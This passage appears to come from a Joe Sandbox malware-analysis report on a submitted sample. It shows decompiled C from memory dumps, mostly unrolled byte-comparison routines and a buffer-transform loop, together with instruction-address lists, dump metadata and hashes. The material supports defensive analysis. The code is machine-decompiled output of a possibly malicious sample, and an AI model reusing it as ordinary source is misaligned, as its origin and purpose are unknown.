				_t354 = 0;
				_t325 = __ecx[1];
				 *(_t355 + 0x2c) = _t309;
				 *(_t355 + 0x30) = _t309 + _t309;
				if(_t309 > 0x20000 || _t325 > 0x400 || _t325 == 0) {
					goto L98;
				} else {
					_t274 = _t325;
					 *(_t355 + 0x28) = _t325;
					do {
						_t282 = 0;
						_t338 = _t309;
						if(_t309 <  *(_t355 + 0x30)) {
							_t310 =  *(_t355 + 0x30);
							goto L12;
							L12:
							_t275 =  *_t339;
							_t282 = _t282 -  *((intOrPtr*)(_t275 + _t354));
							_t354 = _t354 + 1;
							 *((char*)(_t275 + _t338)) = _t282;
							_t338 = _t338 + _t325;
							if(_t338 < _t310) {
								goto L12;
							} else {
								_t309 =  *(_t355 + 0x2c);
								_t274 =  *(_t355 + 0x28);
								goto L14;
							}
						}
						L14:
						_t309 = _t309 + 1;
						_t274 = _t274 - 1;
						 *(_t355 + 0x2c) = _t309;
						 *(_t355 + 0x28) = _t274;
					} while (_t274 != 0);
					goto L15;
				}
			}

0x0024bd53
0x0024bd5d
0x0024bd62
0x0024bdf9
0x00000000
0x0024bdf9
0x0024bd6b
0x0024c243
0x0024c246
0x0024c248
0x0024c24b
0x0024c254
0x0024c2b5
0x00000000
0x0024c2b5
0x0024c25c
0x0024c25e
0x0024c260
0x0024c266
0x00000000
0x00000000
0x00000000
0x00000000
0x0024c26c
0x0024c26c
0x0024c26c
0x0024c26e
0x0024c26f
0x0024c270
0x0024c274
0x0024c27a
0x0024c27e
0x0024c291
0x0024c299
0x0024c29d
0x0024c29d
0x0024c280
0x0024c285
0x0024c287
0x0024c28d
0x0024c28d
0x0024c285
0x0024c29f
0x0024c2a3
0x0024c2a6
0x0024c2a9
0x0024c2a9
0x0024c2ac
0x00000000
0x0024c2b0
0x0024bd74
0x0024c17d
0x0024c17f
0x0024c188
0x00000000
0x00000000
0x0024c191
0x0024c194
0x0024c19a
0x00000000
0x00000000
0x0024c1a4
0x0024c1a5
0x0024c1a9
0x0024c1af
0x0024c1b2
0x00000000
0x00000000
0x0024c1b4
0x0024c1bc
0x00000000
0x00000000
0x0024c1be
0x0024c1c2
0x0024c1c4
0x0024c1c9
0x0024c1cd
0x0024c1d1
0x0024c1d2
0x0024c1d9
0x0024c1dd
0x0024c1ec
0x0024c207
0x0024c207
0x0024c20c
0x0024c210
0x0024c210
0x0024c214
0x0024c215
0x0024c218
0x0024c21c
0x0024c221
0x0024c225
0x0024c229
0x0024c229
0x0024c22c
0x0024c22d
0x0024c230
0x0024c234
0x0024c234
0x00000000
0x0024c23e
0x0024bd7d
0x0024c031
0x0024c034
0x0024c037
0x0024c03a
0x0024c03e
0x0024c041
0x0024c048
0x0024c04c
0x0024c055
0x00000000
0x0024c06c
0x0024c06c
0x0024c06e
0x0024c072
0x0024c075
0x0024c079
0x0024c07d
0x0024c07f
0x0024c083
0x0024c087
0x0024c087
0x0024c08b
0x00000000
0x00000000
0x0024c091
0x0024c098
0x0024c09c
0x0024c09e
0x0024c0a2
0x0024c0a6
0x0024c0aa
0x0024c0ac
0x0024c0af
0x0024c0b7
0x0024c0bd
0x0024c0cb
0x0024c0e0
0x0024c0e4
0x0024c0e9
0x0024c0ed
0x0024c0f0
0x0024c0f6
0x0024c106
0x0024c10c
0x0024c110
0x0024c114
0x0024c116
0x0024c116
0x0024c0fc
0x0024c0fc
0x0024c100
0x0024c100
0x0024c0f6
0x0024c11a
0x0024c121
0x0024c124
0x0024c12c
0x0024c12f
0x0024c136
0x0024c136
0x0024c140
0x0024c144
0x0024c148
0x0024c14c
0x0024c14c
0x0024c14d
0x0024c151
0x0024c15a
0x0024c15e
0x0024c171
0x0024c163
0x0024c167
0x0024c16a
0x0024c16e
0x0024c16e
0x00000000
0x0024c175
0x0024c055
0x0024bd86
0x0024be05
0x0024be08
0x0024be0a
0x0024be0d
0x0024be13
0x0024be17
0x0024be20
0x00000000
0x0024be3a
0x0024be3a
0x0024be3c
0x0024be42
0x00000000
0x00000000
0x00000000
0x00000000
0x0024be44
0x0024be44
0x0024be44
0x0024be4d
0x0024be52
0x0024be54
0x0024be59
0x0024be5b
0x0024be60
0x0024be68
0x0024be6c
0x0024be71
0x0024be75
0x0024be78
0x0024be80
0x0024be86
0x0024be8a
0x0024be8a
0x0024be98
0x0024be9c
0x0024bea5
0x0024bea9
0x0024bead
0x0024bed6
0x0024bed8
0x0024bee7
0x0024beeb
0x0024beef
0x0024bef8
0x0024bf08
0x0024bf18
0x0024bf28
0x0024bf38
0x0024bf46
0x0024bf53
0x0024bf57
0x0024bf5f
0x0024bffb
0x0024bfff
0x0024bf65
0x0024bf65
0x0024bf69
0x0024bf6b
0x0024bf71
0x0024bf72
0x0024bf76
0x0024bf78
0x0024bf7c
0x0024bf7c
0x0024bf7e
0x0024bf83
0x0024bf84
0x0024bf89
0x0024bf8d
0x0024bf90
0x0024bfef
0x0024bff6
0x0024bff8
0x0024bff8
0x00000000
0x0024bff6
0x0024bf92
0x0024bf95
0x0024bfe3
0x0024bfea
0x0024bfec
0x0024bfec
0x00000000
0x0024bfea
0x0024bf97
0x0024bf9a
0x0024bfd3
0x0024bfda
0x00000000
0x00000000
0x0024bfdc
0x0024bfdd
0x0024bfdd
0x00000000
0x0024bfdd
0x0024bf9c
0x0024bf9f
0x0024bfc7
0x0024bfce
0x00000000
0x00000000
0x0024bfd0
0x00000000
0x0024bfd0
0x0024bfa1
0x0024bfa4
0x0024bfbb
0x0024bfc2
0x00000000
0x00000000
0x0024bfc4
0x0024bfb5
0x0024bfb5
0x00000000
0x0024bfb5
0x0024bfa9
0x0024bfad
0x00000000
0x0024bfb4
0x0024bfb4
0x00000000
0x0024bfb4
0x0024bfad
0x0024c003
0x0024c007
0x0024c009
0x0024c00d
0x0024c011
0x0024c01b
0x0024c01b
0x0024c01f
0x0024c020
0x0024c024
0x00000000
0x0024c02c
0x0024be20
0x0024bd8b
0x00000000
0x00000000
0x0024bd8d
0x0024bd90
0x0024bd92
0x0024bd95
0x0024bd9c
0x0024bda6
0x00000000
0x0024bdc0
0x0024bdc0
0x0024bdc2
0x0024bdc6
0x0024bdc6
0x0024bdc8
0x0024bdce
0x0024bdd0
0x0024bdd0
0x0024bdd4
0x0024bdd4
0x0024bdd6
0x0024bdd9
0x0024bdda
0x0024bddd
0x0024bde1
0x00000000
0x0024bde3
0x0024bde3
0x0024bde7
0x00000000
0x0024bde7
0x0024bde1
0x0024bdeb
0x0024bdeb
0x0024bdec
0x0024bdef
0x0024bdf3
0x0024bdf3
0x00000000
0x0024bdc6

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4184044dc95c307224b869e8016559bfc2441dd89904e698d72f181af1ac2297
Instruction ID: b08cf4892731bf13f28fd74adcce7f6ec86538d31cdacfcba64c8a4167231802
Opcode Fuzzy Hash: 4184044dc95c307224b869e8016559bfc2441dd89904e698d72f181af1ac2297
Instruction Fuzzy Hash: 8BF1BB71A293028FC359CF2DC48462ABBE5FFC9314F244A2EF49A97251D7B0E9558F42

Uniqueness

Uniqueness Score: -1.00%

Function 00260993 Relevance: .3, Instructions: 345
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00260993(void* __edx, void* __esi) {
				signed int _t192;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t241;
				void* _t287;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t326;
				void* _t327;

				_t327 = __esi;
				_t287 = __edx;
				if( *((intOrPtr*)(__esi - 0x1e)) ==  *((intOrPtr*)(__edx - 0x1e))) {
					_t241 = 0;
					L15:
					if(_t241 != 0) {
						goto L2;
					}
					_t193 =  *(_t327 - 0x1a);
					if(_t193 ==  *(_t287 - 0x1a)) {
						_t241 = 0;
						L26:
						if(_t241 != 0) {
							goto L2;
						}
						_t194 =  *(_t327 - 0x16);
						if(_t194 ==  *(_t287 - 0x16)) {
							_t241 = 0;
							L37:
							if(_t241 != 0) {
								goto L2;
							}
							_t195 =  *(_t327 - 0x12);
							if(_t195 ==  *(_t287 - 0x12)) {
								_t241 = 0;
								L48:
								if(_t241 != 0) {
									goto L2;
								}
								_t196 =  *(_t327 - 0xe);
								if(_t196 ==  *(_t287 - 0xe)) {
									_t241 = 0;
									L59:
									if(_t241 != 0) {
										goto L2;
									}
									if( *(_t327 - 0xa) ==  *(_t287 - 0xa)) {
										_t241 = 0;
										L70:
										if(_t241 != 0) {
											goto L2;
										}
										_t198 =  *(_t327 - 6);
										if(_t198 ==  *(_t287 - 6)) {
											_t241 = 0;
											L81:
											if(_t241 == 0 &&  *((intOrPtr*)(_t327 - 2)) ==  *((intOrPtr*)(_t287 - 2))) {
											}
											goto L2;
										}
										_t292 = (_t198 & 0x000000ff) - ( *(_t287 - 6) & 0x000000ff);
										if(_t292 == 0) {
											L74:
											_t294 = ( *(_t327 - 5) & 0x000000ff) - ( *(_t287 - 5) & 0x000000ff);
											if(_t294 == 0) {
												L76:
												_t296 = ( *(_t327 - 4) & 0x000000ff) - ( *(_t287 - 4) & 0x000000ff);
												if(_t296 == 0) {
													L78:
													_t241 = ( *(_t327 - 3) & 0x000000ff) - ( *(_t287 - 3) & 0x000000ff);
													if(_t241 != 0) {
														_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
													}
													goto L81;
												}
												_t241 = (0 | _t296 > 0x00000000) * 2 - 1;
												if(_t241 != 0) {
													goto L2;
												}
												goto L78;
											}
											_t241 = (0 | _t294 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L76;
										}
										_t241 = (0 | _t292 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L74;
									}
									_t298 = ( *(_t327 - 0xa) & 0x000000ff) - ( *(_t287 - 0xa) & 0x000000ff);
									if(_t298 == 0) {
										L63:
										_t300 = ( *(_t327 - 9) & 0x000000ff) - ( *(_t287 - 9) & 0x000000ff);
										if(_t300 == 0) {
											L65:
											_t302 = ( *(_t327 - 8) & 0x000000ff) - ( *(_t287 - 8) & 0x000000ff);
											if(_t302 == 0) {
												L67:
												_t241 = ( *(_t327 - 7) & 0x000000ff) - ( *(_t287 - 7) & 0x000000ff);
												if(_t241 != 0) {
													_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
												}
												goto L70;
											}
											_t241 = (0 | _t302 > 0x00000000) * 2 - 1;
											if(_t241 != 0) {
												goto L2;
											}
											goto L67;
										}
										_t241 = (0 | _t300 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L65;
									}
									_t241 = (0 | _t298 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L63;
								}
								_t304 = (_t196 & 0x000000ff) - ( *(_t287 - 0xe) & 0x000000ff);
								if(_t304 == 0) {
									L52:
									_t306 = ( *(_t327 - 0xd) & 0x000000ff) - ( *(_t287 - 0xd) & 0x000000ff);
									if(_t306 == 0) {
										L54:
										_t308 = ( *(_t327 - 0xc) & 0x000000ff) - ( *(_t287 - 0xc) & 0x000000ff);
										if(_t308 == 0) {
											L56:
											_t241 = ( *(_t327 - 0xb) & 0x000000ff) - ( *(_t287 - 0xb) & 0x000000ff);
											if(_t241 != 0) {
												_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
											}
											goto L59;
										}
										_t241 = (0 | _t308 > 0x00000000) * 2 - 1;
										if(_t241 != 0) {
											goto L2;
										}
										goto L56;
									}
									_t241 = (0 | _t306 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L54;
								}
								_t241 = (0 | _t304 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L52;
							}
							_t310 = (_t195 & 0x000000ff) - ( *(_t287 - 0x12) & 0x000000ff);
							if(_t310 == 0) {
								L41:
								_t312 = ( *(_t327 - 0x11) & 0x000000ff) - ( *(_t287 - 0x11) & 0x000000ff);
								if(_t312 == 0) {
									L43:
									_t314 = ( *(_t327 - 0x10) & 0x000000ff) - ( *(_t287 - 0x10) & 0x000000ff);
									if(_t314 == 0) {
										L45:
										_t241 = ( *(_t327 - 0xf) & 0x000000ff) - ( *(_t287 - 0xf) & 0x000000ff);
										if(_t241 != 0) {
											_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
										}
										goto L48;
									}
									_t241 = (0 | _t314 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L45;
								}
								_t241 = (0 | _t312 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L43;
							}
							_t241 = (0 | _t310 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L41;
						}
						_t316 = (_t194 & 0x000000ff) - ( *(_t287 - 0x16) & 0x000000ff);
						if(_t316 == 0) {
							L30:
							_t318 = ( *(_t327 - 0x15) & 0x000000ff) - ( *(_t287 - 0x15) & 0x000000ff);
							if(_t318 == 0) {
								L32:
								_t320 = ( *(_t327 - 0x14) & 0x000000ff) - ( *(_t287 - 0x14) & 0x000000ff);
								if(_t320 == 0) {
									L34:
									_t241 = ( *(_t327 - 0x13) & 0x000000ff) - ( *(_t287 - 0x13) & 0x000000ff);
									if(_t241 != 0) {
										_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
									}
									goto L37;
								}
								_t241 = (0 | _t320 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L34;
							}
							_t241 = (0 | _t318 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L32;
						}
						_t241 = (0 | _t316 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L30;
					}
					_t322 = (_t193 & 0x000000ff) - ( *(_t287 - 0x1a) & 0x000000ff);
					if(_t322 == 0) {
						L19:
						_t324 = ( *(_t327 - 0x19) & 0x000000ff) - ( *(_t287 - 0x19) & 0x000000ff);
						if(_t324 == 0) {
							L21:
							_t326 = ( *(_t327 - 0x18) & 0x000000ff) - ( *(_t287 - 0x18) & 0x000000ff);
							if(_t326 == 0) {
								L23:
								_t241 = ( *(_t327 - 0x17) & 0x000000ff) - ( *(_t287 - 0x17) & 0x000000ff);
								if(_t241 != 0) {
									_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
								}
								goto L26;
							}
							_t241 = (0 | _t326 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L23;
						}
						_t241 = (0 | _t324 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L21;
					}
					_t241 = (0 | _t322 > 0x00000000) * 2 - 1;
					if(_t241 != 0) {
						goto L2;
					}
					goto L19;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
					if(__edi == 0) {
						L8:
						__edi =  *(__esi - 0x1d) & 0x000000ff;
						__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
						if(__edi == 0) {
							L10:
							__edi =  *(__esi - 0x1c) & 0x000000ff;
							__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
							if(__edi == 0) {
								L12:
								__ecx =  *(__esi - 0x1b) & 0x000000ff;
								__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L15;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								L2:
								_t192 = _t241;
								return _t192;
							}
							goto L12;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L2;
						}
						goto L10;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L2;
					}
					goto L8;
				}
			}

0x00260993
0x00260993
0x00260999
0x00260a20
0x00260a22
0x00260a24
0x00000000
0x00000000
0x00260a2a
0x00260a30
0x00260ab7
0x00260ab9
0x00260abb
0x00000000
0x00000000
0x00260ac1
0x00260ac7
0x00260b4e
0x00260b50
0x00260b52
0x00000000
0x00000000
0x00260b58
0x00260b5e
0x00260be5
0x00260be7
0x00260be9
0x00000000
0x00000000
0x00260bef
0x00260bf5
0x00260c7c
0x00260c7e
0x00260c80
0x00000000
0x00000000
0x00260c8c
0x00260d14
0x00260d16
0x00260d18
0x00000000
0x00000000
0x00260d1e
0x00260d24
0x00260dab
0x00260dad
0x00260daf
0x00260daf
0x00000000
0x00260daf
0x00260d31
0x00260d33
0x00260d4b
0x00260d53
0x00260d55
0x00260d6d
0x00260d75
0x00260d77
0x00260d8f
0x00260d97
0x00260d99
0x00260da2
0x00260da2
0x00000000
0x00260d99
0x00260d80
0x00260d89
0x00000000
0x00000000
0x00000000
0x00260d89
0x00260d5e
0x00260d67
0x00000000
0x00000000
0x00000000
0x00260d67
0x00260d3c
0x00260d45
0x00000000
0x00000000
0x00000000
0x00260d45
0x00260c9a
0x00260c9c
0x00260cb4
0x00260cbc
0x00260cbe
0x00260cd6
0x00260cde
0x00260ce0
0x00260cf8
0x00260d00
0x00260d02
0x00260d0b
0x00260d0b
0x00000000
0x00260d02
0x00260ce9
0x00260cf2
0x00000000
0x00000000
0x00000000
0x00260cf2
0x00260cc7
0x00260cd0
0x00000000
0x00000000
0x00000000
0x00260cd0
0x00260ca5
0x00260cae
0x00000000
0x00000000
0x00000000
0x00260cae
0x00260c02
0x00260c04
0x00260c1c
0x00260c24
0x00260c26
0x00260c3e
0x00260c46
0x00260c48
0x00260c60
0x00260c68
0x00260c6a
0x00260c73
0x00260c73
0x00000000
0x00260c6a
0x00260c51
0x00260c5a
0x00000000
0x00000000
0x00000000
0x00260c5a
0x00260c2f
0x00260c38
0x00000000
0x00000000
0x00000000
0x00260c38
0x00260c0d
0x00260c16
0x00000000
0x00000000
0x00000000
0x00260c16
0x00260b6b
0x00260b6d
0x00260b85
0x00260b8d
0x00260b8f
0x00260ba7
0x00260baf
0x00260bb1
0x00260bc9
0x00260bd1
0x00260bd3
0x00260bdc
0x00260bdc
0x00000000
0x00260bd3
0x00260bba
0x00260bc3
0x00000000
0x00000000
0x00000000
0x00260bc3
0x00260b98
0x00260ba1
0x00000000
0x00000000
0x00000000
0x00260ba1
0x00260b76
0x00260b7f
0x00000000
0x00000000
0x00000000
0x00260b7f
0x00260ad4
0x00260ad6
0x00260aee
0x00260af6
0x00260af8
0x00260b10
0x00260b18
0x00260b1a
0x00260b32
0x00260b3a
0x00260b3c
0x00260b45
0x00260b45
0x00000000
0x00260b3c
0x00260b23
0x00260b2c
0x00000000
0x00000000
0x00000000
0x00260b2c
0x00260b01
0x00260b0a
0x00000000
0x00000000
0x00000000
0x00260b0a
0x00260adf
0x00260ae8
0x00000000
0x00000000
0x00000000
0x00260ae8
0x00260a3d
0x00260a3f
0x00260a57
0x00260a5f
0x00260a61
0x00260a79
0x00260a81
0x00260a83
0x00260a9b
0x00260aa3
0x00260aa5
0x00260aae
0x00260aae
0x00000000
0x00260aa5
0x00260a8c
0x00260a95
0x00000000
0x00000000
0x00000000
0x00260a95
0x00260a6a
0x00260a73
0x00000000
0x00000000
0x00000000
0x00260a73
0x00260a48
0x00260a51
0x00000000
0x00000000
0x00000000
0x0026099f
0x0026099f
0x002609a6
0x002609a8
0x002609c0
0x002609c0
0x002609c8
0x002609ca
0x002609e2
0x002609e2
0x002609ea
0x002609ec
0x00260a04
0x00260a04
0x00260a0c
0x00260a0e
0x00260a17
0x00260a17
0x00000000
0x00260a0e
0x002609f2
0x002609f5
0x002609fe
0x00260556
0x00260556
0x00261347
0x00261347
0x00000000
0x002609fe
0x002609d0
0x002609d3
0x002609dc
0x00000000
0x00000000
0x00000000
0x002609dc
0x002609ae
0x002609b1
0x002609ba
0x00000000
0x00000000
0x00000000
0x002609ba

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 1906624296354a2d2645f1ac7c547446291cfb437707b63d8761925e2dc61334
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: EFC175322251930ADF6E4A3D85B403FBBA16AA17B131A075DD4B7CB1D5FE20D9B4E610

Uniqueness

Uniqueness Score: -1.00%

Function 00260DC8 Relevance: .3, Instructions: 341
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00260DC8(void* __edx, void* __esi) {
				signed int _t197;
				signed char _t198;
				signed char _t199;
				signed char _t200;
				signed char _t202;
				signed char _t203;
				signed int _t246;
				void* _t294;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t333;
				void* _t335;
				void* _t336;

				_t336 = __esi;
				_t294 = __edx;
				if( *((intOrPtr*)(__esi - 0x1f)) ==  *((intOrPtr*)(__edx - 0x1f))) {
					_t246 = 0;
					L14:
					if(_t246 != 0) {
						goto L1;
					}
					_t198 =  *(_t336 - 0x1b);
					if(_t198 ==  *(_t294 - 0x1b)) {
						_t246 = 0;
						L25:
						if(_t246 != 0) {
							goto L1;
						}
						_t199 =  *(_t336 - 0x17);
						if(_t199 ==  *(_t294 - 0x17)) {
							_t246 = 0;
							L36:
							if(_t246 != 0) {
								goto L1;
							}
							_t200 =  *(_t336 - 0x13);
							if(_t200 ==  *(_t294 - 0x13)) {
								_t246 = 0;
								L47:
								if(_t246 != 0) {
									goto L1;
								}
								if( *(_t336 - 0xf) ==  *(_t294 - 0xf)) {
									_t246 = 0;
									L58:
									if(_t246 != 0) {
										goto L1;
									}
									_t202 =  *(_t336 - 0xb);
									if(_t202 ==  *(_t294 - 0xb)) {
										_t246 = 0;
										L69:
										if(_t246 != 0) {
											goto L1;
										}
										_t203 =  *(_t336 - 7);
										if(_t203 ==  *(_t294 - 7)) {
											_t246 = 0;
											L80:
											if(_t246 != 0) {
												goto L1;
											}
											_t297 = ( *(_t336 - 3) & 0x000000ff) - ( *(_t294 - 3) & 0x000000ff);
											if(_t297 == 0) {
												L83:
												_t299 = ( *(_t336 - 2) & 0x000000ff) - ( *(_t294 - 2) & 0x000000ff);
												if(_t299 == 0) {
													L3:
													_t246 = ( *(_t336 - 1) & 0x000000ff) - ( *(_t294 - 1) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L1;
												}
												_t246 = (0 | _t299 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												} else {
													goto L3;
												}
											}
											_t246 = (0 | _t297 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L83;
										}
										_t301 = (_t203 & 0x000000ff) - ( *(_t294 - 7) & 0x000000ff);
										if(_t301 == 0) {
											L73:
											_t303 = ( *(_t336 - 6) & 0x000000ff) - ( *(_t294 - 6) & 0x000000ff);
											if(_t303 == 0) {
												L75:
												_t305 = ( *(_t336 - 5) & 0x000000ff) - ( *(_t294 - 5) & 0x000000ff);
												if(_t305 == 0) {
													L77:
													_t246 = ( *(_t336 - 4) & 0x000000ff) - ( *(_t294 - 4) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L80;
												}
												_t246 = (0 | _t305 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												}
												goto L77;
											}
											_t246 = (0 | _t303 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L75;
										}
										_t246 = (0 | _t301 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L73;
									}
									_t307 = (_t202 & 0x000000ff) - ( *(_t294 - 0xb) & 0x000000ff);
									if(_t307 == 0) {
										L62:
										_t309 = ( *(_t336 - 0xa) & 0x000000ff) - ( *(_t294 - 0xa) & 0x000000ff);
										if(_t309 == 0) {
											L64:
											_t311 = ( *(_t336 - 9) & 0x000000ff) - ( *(_t294 - 9) & 0x000000ff);
											if(_t311 == 0) {
												L66:
												_t246 = ( *(_t336 - 8) & 0x000000ff) - ( *(_t294 - 8) & 0x000000ff);
												if(_t246 != 0) {
													_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
												}
												goto L69;
											}
											_t246 = (0 | _t311 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L66;
										}
										_t246 = (0 | _t309 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L64;
									}
									_t246 = (0 | _t307 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L62;
								}
								_t313 = ( *(_t336 - 0xf) & 0x000000ff) - ( *(_t294 - 0xf) & 0x000000ff);
								if(_t313 == 0) {
									L51:
									_t315 = ( *(_t336 - 0xe) & 0x000000ff) - ( *(_t294 - 0xe) & 0x000000ff);
									if(_t315 == 0) {
										L53:
										_t317 = ( *(_t336 - 0xd) & 0x000000ff) - ( *(_t294 - 0xd) & 0x000000ff);
										if(_t317 == 0) {
											L55:
											_t246 = ( *(_t336 - 0xc) & 0x000000ff) - ( *(_t294 - 0xc) & 0x000000ff);
											if(_t246 != 0) {
												_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
											}
											goto L58;
										}
										_t246 = (0 | _t317 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L55;
									}
									_t246 = (0 | _t315 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L53;
								}
								_t246 = (0 | _t313 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L51;
							}
							_t319 = (_t200 & 0x000000ff) - ( *(_t294 - 0x13) & 0x000000ff);
							if(_t319 == 0) {
								L40:
								_t321 = ( *(_t336 - 0x12) & 0x000000ff) - ( *(_t294 - 0x12) & 0x000000ff);
								if(_t321 == 0) {
									L42:
									_t323 = ( *(_t336 - 0x11) & 0x000000ff) - ( *(_t294 - 0x11) & 0x000000ff);
									if(_t323 == 0) {
										L44:
										_t246 = ( *(_t336 - 0x10) & 0x000000ff) - ( *(_t294 - 0x10) & 0x000000ff);
										if(_t246 != 0) {
											_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
										}
										goto L47;
									}
									_t246 = (0 | _t323 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L44;
								}
								_t246 = (0 | _t321 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L42;
							}
							_t246 = (0 | _t319 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L40;
						}
						_t325 = (_t199 & 0x000000ff) - ( *(_t294 - 0x17) & 0x000000ff);
						if(_t325 == 0) {
							L29:
							_t327 = ( *(_t336 - 0x16) & 0x000000ff) - ( *(_t294 - 0x16) & 0x000000ff);
							if(_t327 == 0) {
								L31:
								_t329 = ( *(_t336 - 0x15) & 0x000000ff) - ( *(_t294 - 0x15) & 0x000000ff);
								if(_t329 == 0) {
									L33:
